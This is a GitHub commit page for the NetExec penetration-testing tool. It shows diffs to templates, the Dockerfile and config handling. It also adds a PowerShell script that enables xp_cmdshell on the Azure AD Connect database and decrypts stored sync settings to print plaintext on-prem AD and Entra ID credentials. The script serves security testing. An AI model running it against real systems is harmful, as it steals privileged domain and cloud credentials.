Skip to content

Commit bf78320

Browse files
committed
Resolve merge conflicts and sync fork with upstream
2 parents 7106a25 + a8183f8 commit bf78320

155 files changed

Lines changed: 2822 additions & 947 deletions

File tree

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

.github/ISSUE_TEMPLATE/bug_report.md

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,5 @@
1+
# ❗❗❗ Before filing this bug report, MAKE SURE you have already downloaded the newest version of NetExec from GitHub and installed it! Many issues have already been reported and fixed, _especially_ if you are running the native Kali version! Please delete this line before submitting your issue if you have done so.❗❗❗
2+
13
---
24
name: Bug report
35
about: Create a report to help us improve
@@ -7,6 +9,8 @@ assignees: ''
79

810
---
911

12+
13+
1014
**Describe the bug**
1115
A clear and concise description of what the bug is.
1216

@@ -30,8 +34,8 @@ If applicable, add screenshots to help explain your problem.
3034

3135
**NetExec info**
3236
- OS: [e.g. Kali]
33-
- Version of nxc: [e.g. v1.5.2]
34-
- Installed from: apt/github/pip/docker/...? Please try with latest release before openning an issue
37+
- Version of nxc: [e.g. v1.5.2] (run nxc --version and post the _exact_ string that is output)
38+
- Installed from: apt/github/pip/docker/...? Please try with latest release before opening an issue
3539

3640
**Additional context**
3741
Add any other context about the problem here.

.github/PULL_REQUEST_TEMPLATE.md

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -4,9 +4,12 @@ Please include a summary of the change and which issue is fixed, or what the enh
44
List any dependencies that are required for this change.
55

66
## Type of change
7+
Insert an "x" inside the brackets for relevant items (do not delete options)
8+
79
- [ ] Bug fix (non-breaking change which fixes an issue)
810
- [ ] New feature (non-breaking change which adds functionality)
911
- [ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
12+
- [ ] Deprecation of feature or functionality
1013
- [ ] This change requires a documentation update
1114
- [ ] This requires a third party update (such as Impacket, Dploot, lsassy, etc)
1215

@@ -21,9 +24,10 @@ Screenshots are always nice to have and can give a visual representation of the
2124
If appropriate include before and after screenshot(s) to show which results are to be expected.
2225

2326
## Checklist:
27+
Insert an "x" inside the brackets for completed and relevant items (do not delete options)
2428

2529
- [ ] I have ran Ruff against my changes (via poetry: `poetry run python -m ruff check . --preview`, use `--fix` to automatically fix what it can)
26-
- [ ] I have added or updated the tests/e2e_commands.txt file if necessary
30+
- [ ] I have added or updated the `tests/e2e_commands.txt` file if necessary (new modules or features are _required_ to be added to the e2e tests)
2731
- [ ] New and existing e2e tests pass locally with my changes
2832
- [ ] If reliant on changes of third party dependencies, such as Impacket, dploot, lsassy, etc, I have linked the relevant PRs in those projects
2933
- [ ] I have performed a self-review of my own code

Dockerfile

Lines changed: 36 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -1,22 +1,45 @@
1-
FROM python:3.11-slim
2-
1+
FROM python:3.13-slim-bookworm AS builder
32
ENV LANG=C.UTF-8
43
ENV LC_ALL=C.UTF-8
54
ENV PIP_NO_CACHE_DIR=off
65

76
WORKDIR /usr/src/netexec
87

9-
RUN apt-get update && \
10-
apt-get install -y libffi-dev libxml2-dev libxslt-dev libssl-dev openssl autoconf g++ python3-dev curl git
11-
RUN apt-get update
12-
# Get Rust
13-
RUN curl https://sh.rustup.rs -sSf | bash -s -- -y
14-
# Add .cargo/bin to PATH
8+
RUN apt update && \
9+
apt install -y --no-install-recommends \
10+
libffi-dev \
11+
libxml2-dev \
12+
libxslt-dev \
13+
libssl-dev \
14+
openssl \
15+
autoconf \
16+
g++ \
17+
python3-dev \
18+
curl \
19+
git \
20+
unzip \
21+
&& apt clean && rm -rf /var/lib/apt/lists/*
22+
23+
RUN curl https://sh.rustup.rs -sSf | bash -s -- -y --default-toolchain stable
1524
ENV PATH="/root/.cargo/bin:${PATH}"
16-
# Check cargo is visible
17-
RUN cargo --help
1825

19-
COPY . .
20-
RUN pip install .
26+
RUN git clone https://github.com/Pennyw0rth/NetExec.git . \
27+
&& pip install .
28+
29+
FROM python:3.13-slim-bookworm
30+
31+
ENV LANG=C.UTF-8
32+
ENV LC_ALL=C.UTF-8
33+
ENV PIP_NO_CACHE_DIR=off
34+
35+
WORKDIR /usr/src/netexec
36+
37+
COPY --from=builder /usr/local/lib/python3.13/site-packages /usr/local/lib/python3.13/site-packages
38+
COPY --from=builder /usr/local/bin /usr/local/bin
39+
40+
RUN apt update && \
41+
apt install -y --no-install-recommends \
42+
openssl \
43+
&& apt clean && rm -rf /var/lib/apt/lists/*
2144

22-
ENTRYPOINT [ "nxc" ]
45+
ENTRYPOINT ["nxc"]

nxc/cli.py

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -25,8 +25,7 @@ def gen_cli_args():
2525
COMMIT = ""
2626
DISTANCE = ""
2727
CODENAME = "BLS"
28-
nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT} - {DISTANCE}")
29-
28+
3029
generic_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
3130
generic_group = generic_parser.add_argument_group("Generic", "Generic options for nxc across protocols")
3231
generic_group.add_argument("--version", action="store_true", help="Display nxc version")
@@ -133,7 +132,7 @@ def gen_cli_args():
133132
if hasattr(args, "get_output_tries"):
134133
args.get_output_tries = args.get_output_tries * 10
135134

136-
return args
135+
return args, [CODENAME, VERSION, COMMIT, DISTANCE]
137136

138137

139138
def get_module_names():

nxc/config.py

Lines changed: 5 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,6 @@
1-
import os
21
from os.path import join as path_join
32
import configparser
4-
from nxc.paths import NXC_PATH, DATA_PATH
3+
from nxc.paths import DATA_PATH, CONFIG_PATH
54
from nxc.first_run import first_run_setup
65
from nxc.logger import nxc_logger
76
from ast import literal_eval
@@ -10,25 +9,25 @@
109
nxc_default_config.read(path_join(DATA_PATH, "nxc.conf"))
1110

1211
nxc_config = configparser.ConfigParser()
13-
nxc_config.read(os.path.join(NXC_PATH, "nxc.conf"))
12+
nxc_config.read(CONFIG_PATH)
1413

1514
if "nxc" not in nxc_config.sections():
1615
first_run_setup()
17-
nxc_config.read(os.path.join(NXC_PATH, "nxc.conf"))
16+
nxc_config.read(CONFIG_PATH)
1817

1918
# Check if there are any missing options in the config file
2019
for section in nxc_default_config.sections():
2120
if not nxc_config.has_section(section):
2221
nxc_logger.display(f"Adding missing section '{section}' to nxc.conf")
2322
nxc_config.add_section(section)
24-
with open(path_join(NXC_PATH, "nxc.conf"), "w") as config_file:
23+
with open(CONFIG_PATH, "w") as config_file:
2524
nxc_config.write(config_file)
2625
for option in nxc_default_config.options(section):
2726
if not nxc_config.has_option(section, option):
2827
nxc_logger.display(f"Adding missing option '{option}' in config section '{section}' to nxc.conf")
2928
nxc_config.set(section, option, nxc_default_config.get(section, option))
3029

31-
with open(path_join(NXC_PATH, "nxc.conf"), "w") as config_file:
30+
with open(CONFIG_PATH, "w") as config_file:
3231
nxc_config.write(config_file)
3332

3433
# THESE OPTIONS HAVE TO EXIST IN THE DEFAULT CONFIG FILE
@@ -37,7 +36,6 @@
3736
audit_mode = nxc_config.get("nxc", "audit_mode", fallback=False)
3837
reveal_chars_of_pwd = int(nxc_config.get("nxc", "reveal_chars_of_pwd", fallback=0))
3938
config_log = nxc_config.getboolean("nxc", "log_mode", fallback=False)
40-
ignore_opsec = nxc_config.getboolean("nxc", "ignore_opsec", fallback=False)
4139
host_info_colors = literal_eval(nxc_config.get("nxc", "host_info_colors", fallback=["green", "red", "yellow", "cyan"]))
4240

4341
# Read stealth_label from user config first, then default config

nxc/connection.py

Lines changed: 15 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,5 @@
1+
from datetime import datetime
2+
import os
13
import random
24
import sys
35
import contextlib
@@ -16,6 +18,7 @@
1618
from nxc.loaders.moduleloader import ModuleLoader
1719
from nxc.logger import nxc_logger, NXCAdapter
1820
from nxc.context import Context
21+
from nxc.paths import NXC_PATH
1922
from nxc.protocols.ldap.laps import laps_search
2023
from nxc.helpers.pfx import pfx_auth
2124

@@ -137,7 +140,11 @@ def __init__(self, args, db, target):
137140
# Authentication info
138141
self.password = ""
139142
self.username = ""
140-
self.kerberos = bool(self.args.kerberos or self.args.use_kcache or self.args.aesKey or (hasattr(self.args, "delegate") and self.args.delegate))
143+
self.kerberos = bool(self.args.kerberos or
144+
self.args.use_kcache or
145+
self.args.aesKey or
146+
(hasattr(self.args, "delegate") and self.args.delegate) or
147+
(hasattr(self.args, "no_preauth_targets") and self.args.no_preauth_targets))
141148
self.aesKey = None if not self.args.aesKey else self.args.aesKey[0]
142149
self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
143150
self.admin_privs = False
@@ -153,6 +160,11 @@ def __init__(self, args, db, target):
153160
self.local_ip = None
154161
self.dns_server = self.args.dns_server
155162

163+
# Construct the output file template using os.path.join for OS compatibility
164+
base_log_dir = os.path.join(os.path.expanduser(NXC_PATH), "logs")
165+
filename_pattern = f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
166+
self.output_file_template = os.path.join(base_log_dir, "{output_folder}", filename_pattern)
167+
156168
# DNS resolution
157169
dns_result = self.resolver(target)
158170
if dns_result:
@@ -417,14 +429,14 @@ def parse_credentials(self):
417429
with open(ntlm_hash) as ntlm_hash_file:
418430
for i, line in enumerate(ntlm_hash_file):
419431
line = line.strip()
420-
if len(line) != 32 and len(line) != 65:
432+
if len(line) != 32 and len(line) != 65 and len(line) != 0:
421433
self.logger.fail(f"Invalid NTLM hash length on line {(i + 1)} (len {len(line)}): {line}")
422434
continue
423435
else:
424436
secret.append(line)
425437
cred_type.append("hash")
426438
else:
427-
if len(ntlm_hash) != 32 and len(ntlm_hash) != 65:
439+
if len(ntlm_hash) != 32 and len(ntlm_hash) != 65 and len(ntlm_hash) != 0:
428440
self.logger.fail(f"Invalid NTLM hash length {len(ntlm_hash)}, authentication not sent")
429441
exit(1)
430442
else:

nxc/context.py

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,17 +1,19 @@
11
import configparser
22
import os
33

4+
from nxc.paths import NXC_PATH, CONFIG_PATH
5+
46

57
class Context:
68
def __init__(self, db, logger, args):
79
for key, value in vars(args).items():
810
setattr(self, key, value)
911

1012
self.db = db
11-
self.log_folder_path = os.path.join(os.path.expanduser("~/.nxc"), "logs")
13+
self.log_folder_path = os.path.join(NXC_PATH, "logs")
1214
self.localip = None
1315

1416
self.conf = configparser.ConfigParser()
15-
self.conf.read(os.path.expanduser("~/.nxc/nxc.conf"))
17+
self.conf.read(CONFIG_PATH)
1618

1719
self.log = logger
Lines changed: 82 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,82 @@
1+
# Original script by @_xpn_: https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c
2+
# Modified by @NeffIsBack:
3+
# - Added support for Entra ID sync credentials (original source: https://github.com/Gerenios/AADInternals-Endpoints/blob/6af2054705e900b733ba76c6e65bfa6cad2328cc/AADSyncSettings.ps1#L108-L116)
4+
5+
# Function to decrypt the encrypted configuration of the Azure AD Connect sync stuff
6+
function decrypter($crypted, $key_id, $instance_id, $entropy) {
7+
$cmd = $client.CreateCommand()
8+
$cmd.CommandText = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'powershell.exe -c `"add-type -path ''C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'';`$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager;`$km.LoadKeySet([guid]''$entropy'', [guid]''$instance_id'', $key_id);`$key2 = `$null;`$km.GetKey(1, [ref]`$key2);`$decrypted = `$null;`$key2.DecryptBase64ToString(''$crypted'', [ref]`$decrypted);Write-Host `$decrypted`"'"
9+
$reader = $cmd.ExecuteReader()
10+
11+
$decrypted = [string]::Empty
12+
13+
while ($reader.Read() -eq $true -and $reader.IsDBNull(0) -eq $false) {
14+
$decrypted += $reader.GetString(0)
15+
}
16+
$reader.Close()
17+
18+
if ($decrypted -eq [string]::Empty) {
19+
Write-Host "[!] Error using xp_cmdshell to launch our decryption powershell"
20+
return
21+
}
22+
23+
return $decrypted
24+
}
25+
26+
# Create a connection to the localdb instance of Azure AD Connect
27+
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync2019;Initial Catalog=ADSync"
28+
29+
try {
30+
$client.Open()
31+
} catch {
32+
Write-Host "[!] Could not connect to localdb, Entra ID sync probably not installed"
33+
return
34+
}
35+
36+
function f {
37+
param ($q)
38+
$c = $client.CreateCommand()
39+
$c.CommandText = $q
40+
$r = $c.ExecuteReader()
41+
if (-not $r.Read()) {
42+
Write-Host "[!] Error querying: $q"
43+
return
44+
}
45+
$res = for ($i = 0; $i -lt $r.FieldCount; $i++) { $r.GetValue($i) }
46+
$r.Close()
47+
return $res
48+
}
49+
50+
# Get keyset_id, instance_id, entropy
51+
$out = f "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
52+
if (-not $out) { return }
53+
$key_id, $instance_id, $entropy = $out
54+
55+
# Get and decrypt on-prem AD credentials
56+
$out = f "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
57+
if (-not $out) { return }
58+
$on_prem, $c = $out
59+
$pd = decrypter $c $key_id $instance_id $entropy
60+
61+
# Get and decrypt Entra ID sync credentials
62+
$out = f "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE subtype = 'Windows Azure Active Directory (Microsoft)'"
63+
if (-not $out) { return }
64+
$entra, $c = $out
65+
$qd = decrypter $c $key_id $instance_id $entropy
66+
67+
68+
69+
# Extract the credentials from the decrypted XML configurations
70+
$domain = select-xml -Content $on_prem -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerText}}
71+
$username = select-xml -Content $on_prem -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerText}}
72+
$pw = select-xml -Content $pd -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
73+
74+
Write-Host "On-prem Domain: $($domain.Domain)"
75+
Write-Host "On-prem Username: $($username.Username)"
76+
Write-Host "On-prem Password: $($pw.Password)"
77+
78+
# Extract the Entra ID sync credentials
79+
$entra_user = ([xml]$entra).MAConfig.'parameter-values'.parameter[0].'#text'
80+
$entra_pw = select-xml -Content $qd -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
81+
Write-Host "Entra ID Username: $($entra_user)"
82+
Write-Host "Entra ID Password: $($entra_pw.Password)"

0 commit comments

Comments
 (0)